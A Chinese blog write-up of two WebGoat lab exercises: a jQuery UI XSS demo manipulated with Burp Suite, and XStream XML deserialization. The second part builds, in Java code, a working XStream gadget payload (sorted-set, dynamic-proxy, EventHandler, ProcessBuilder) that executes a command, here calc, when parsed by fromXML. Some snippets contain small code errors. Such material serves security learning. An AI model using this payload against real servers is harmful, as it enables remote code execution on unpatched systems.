xstream xml转对象_webgoat-常用组件安全-xml 反序列化利用

40225aa1605be93c672a3b077bfb7f2d.png

题目要求1:

4cc00dc9b485f426fc11f904606b3197.png

题目介绍了jquery的低版本1.10.4存在xss漏洞,1.12.0中则不存在。于是让我们分别在两个框里面随便输入一点东西,尝试在第一个框里面随便输入然后点GO以后出现xss弹窗,尝试在第二个框里面输入点GO就什么事情都没有发生,依次来说明低版本的jquery不安全。

看着是没啥毛病,于是我就简单的调试了一下界面。

先看下1.10.4的输入框相关的代码:

676d18cf05d1524b3895cc4d5fd93466.png

点GO会触发webgoat.customjs.vuln_jquery_ui()函数,这个函数就在下面一点点的代码块中:

616898c271b37adc10593e08bd4dc89b.png

再看下1.12.0的代码:

4488acb4a8374944e924a7f0d9acfe54.png

触发的函数:

498d88eaedacaae647bb3de438901ca3.png

只是通过传给dialog的值不一样而已,一个传了弹窗,一个没穿弹窗 :)

尝试用burpsuite拦截response,把第二个输入框的dialog传入值也改成弹窗:

efd4e22c3cb2f203739f0780a24984b3.png

点第二个GO也可以弹窗了,这这这……

题目要求2:

2c78a3c26145567041580730427db56e.png

说这是一个有CVE编号的漏洞,可以提交一个XML文件,服务端会用XStream.fromXML(xml)来解析这个XML。

解题是很简单,直接输入空的内容就可以:

<contact>
</contact>

应该是服务端检查到缺少很多参数,所以报异常了。

网上搜了搜XML反序列化的漏洞利用,整理一下。

XML序列化可以一般使用XStream这个库,上一个简单的序列号代码:

// 待序列化的类对象

import com.thoughtworks.xstream.annotations.XStreamAlias;

@XStreamAlias("正方形")
public class Square {
 @XStreamAlias("大小")
 String size;
 
 public Square(String size){
	 this.size = size;
 }

 public String getSize() {
  return size;
 }

 public void setSize(String size) {
  this.size = size;
 }

}

// 序列化功能

import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;

public final class XMLGenerator {

 // 创建一个XStream实例,指定XML解析器是DomDriver
 private static XStream xstream = new XStream(new DomDriver())
 {{
  processAnnotations(Square.class);   // 应用Square类的注解
 }};

 public static String generateXML(Object to) {
  return null == to ? "" : xstream.toXML(to);  // 序列化
 }

 public static Object generateTOfromXML(String xml) {
  return xstream.fromXML(xml);   // 反序列化
 } 
}

// 调用序列化

public class XStreamPoC {

	public static void main(String[] args) {
		Square square = new Square(new String("123"));
		
		String xml = XMLGenerator.generateXML(square);
		System.out.println(xml);

		Object sq = XMLGenerator.generateTOfromXML(xml);
		System.out.println(String.format("% %", sq1, sq1.getClass()))
       }
}

输出:

<正方形>
  <大小>123</大小>
</正方形>
Square@6fc6f14e class Square

问题在于反序列化的过程如果没有做好严格的控制,可以直接使用对内置的类进行操作,如这里自定义一个XML然后反序列化:

String payload1 = "<string>"+
		"  Hello"+
		"</string>"
Object sq = XMLGenerator.generateTOfromXML(payload1);
System.out.println(String.format("%s %s", sq, sq.getClass()));

输出:

  Hello class java.lang.String

即这里的string就当做内置的String来使用了,然后传参了Hello。

把string指定完成的路径也是一样的效果:

String payload2 = "<java.lang.String>"+
		  "  Hello"+
		  "</java.lang.String>"
Object sq = XMLGenerator.generateTOfromXML(payload2);
System.out.println(String.format("%s %s", sq, sq.getClass()));

输出:

  Hello classjava.lang.String

那么是否可以用来代码执行呢,先看下java里面执行外部命令的方式:

1、Runtime的exec执行;

2、ProcessBuilder的start执行;

这里拿ProcessBuilder来举例,上一段ProcessBuilder执行外部程序的代码:

import java.io.IOException;
import java.util.ArrayList;
import java.util.List;

public class ProcessBuilderTest {
    public static void main(String[] args) throws IOException {
        List<String> params = new ArrayList<String>();
        params.add("calc");

        ProcessBuilder processBuilder = new ProcessBuilder(params);
        Process process = processBuilder.start();
    }
}

可以成功弹出windows的计算器程序。

那么问题来了,就算我们序列化了一个ProcessBuilder,但是怎么在服务端来执行呢?

可以结合 动态代理 + EventHandler。

EventHandler一般是用来GUI编程的,各种控件的操作产生事件来指定相应的函数,用在这里可以配合特定的事件。

Set<Comparable> set = new TreeSet<>();
set.add("forr");
set.add(EventHandler.create(Comparable.class, 
			    new ProcessBuilder("calc"), "start"));

由于TreeSet集合是默认自动排序的,往里面add值的时候就会调用Comparable,那么就可以拿调用Comparable当成事件触发器,第二个add的时候先create一个事件处理绑定Comparable类,事件的target就是ProcessBuilder,指定目标程序是计算器,动作指定了ProcessBuilder的start方式启动命令执行。

运行后弹出计算器,会有一些报错,因为add的类型本来就不匹配,这不是重点。

那么我们想要执行的代码有了,也能自动执行了,但是我们得转化成XML的格式来提交,这么一段代码怎么转换成XML呢……

String payload4 = "<sorted-set>"+
		"<string>foo</string>"+
		"<dynamic-proxy>"+
		"<interface>java.lang.Comparable</interface>"+
		"<handler class="java.beans.EventHandler">"+
		"    <target class="java.lang.ProcessBuilder">"+
		"        <command>"+
		"            <string>calc</string>"+
		"        </command>"+
		"    </target>"+
		"    <action>start</action>"+
		 "</handler>"+
		 "</dynamic-proxy>"+
		"</sorted-set>";

我也是抄的大佬的,说实话我是没看太懂这里的转换,只能看明白个大概:

6e1a2be8eb1db0c0c75d13efcbbda1d4.png

(就是这么随意 :)

测试反序列化,计算器就弹出来了 /笑哭。

d8585a0e3e309f10705e3510800142ac.png
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值